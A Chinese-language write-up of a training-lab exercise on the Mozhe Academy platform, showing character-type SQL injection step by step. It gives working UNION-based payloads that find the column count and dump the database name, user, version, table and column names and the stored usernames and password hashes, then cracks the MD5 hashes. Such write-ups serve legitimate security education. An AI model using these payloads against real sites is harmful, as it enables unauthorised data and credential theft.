web安全(入门)墨者学院 SQL注入 字符型
墨者学院 SQL注入 字符型
1、打开网页,查看源码,发现停机公告那里有个url,尝试注入一下
2、?id=tingjigonggao'
发现有个函数不满足,会报错,不过既然告诉了是字符型注入,再试一下:
?id=tingjigonggao' and '1'='1
发现成功显示
?id=tingjigonggao' and '1'='2
显示有误
3、判断列数:
?id=' order by 1#
发现不行
使用?id=' union select 'null','null','null','null# 判断列数,发现有四列
也可用?id=' order by 1 %23
未报错
一直顺延?id=' order by 2 %23
?id=' order by 4 %23
未报错
直到?id=' order by 5 %23
报错,说明有4列。
4、查看回显位置,看哪个字段是可以利用的:
?id=' union select '1','2','3','4
5.1查数据库名和用户名
?id=' union select '1',database(),user(),'4
?id=' union select 1,database(),user,4 %23
5.2查数据库名和版本
?id=' union select '1',database(),version(),'4
6、查询表:
?id=' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() and '1'='1
7、查询字段:
?id=' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='stormgroup_member' and '1'='1
8、查询字段值
?id=' union select 1,group_concat(name,password),3,4 from stormgroup_member where '1'='1#
9、将得到的password字段md5解密即得到密码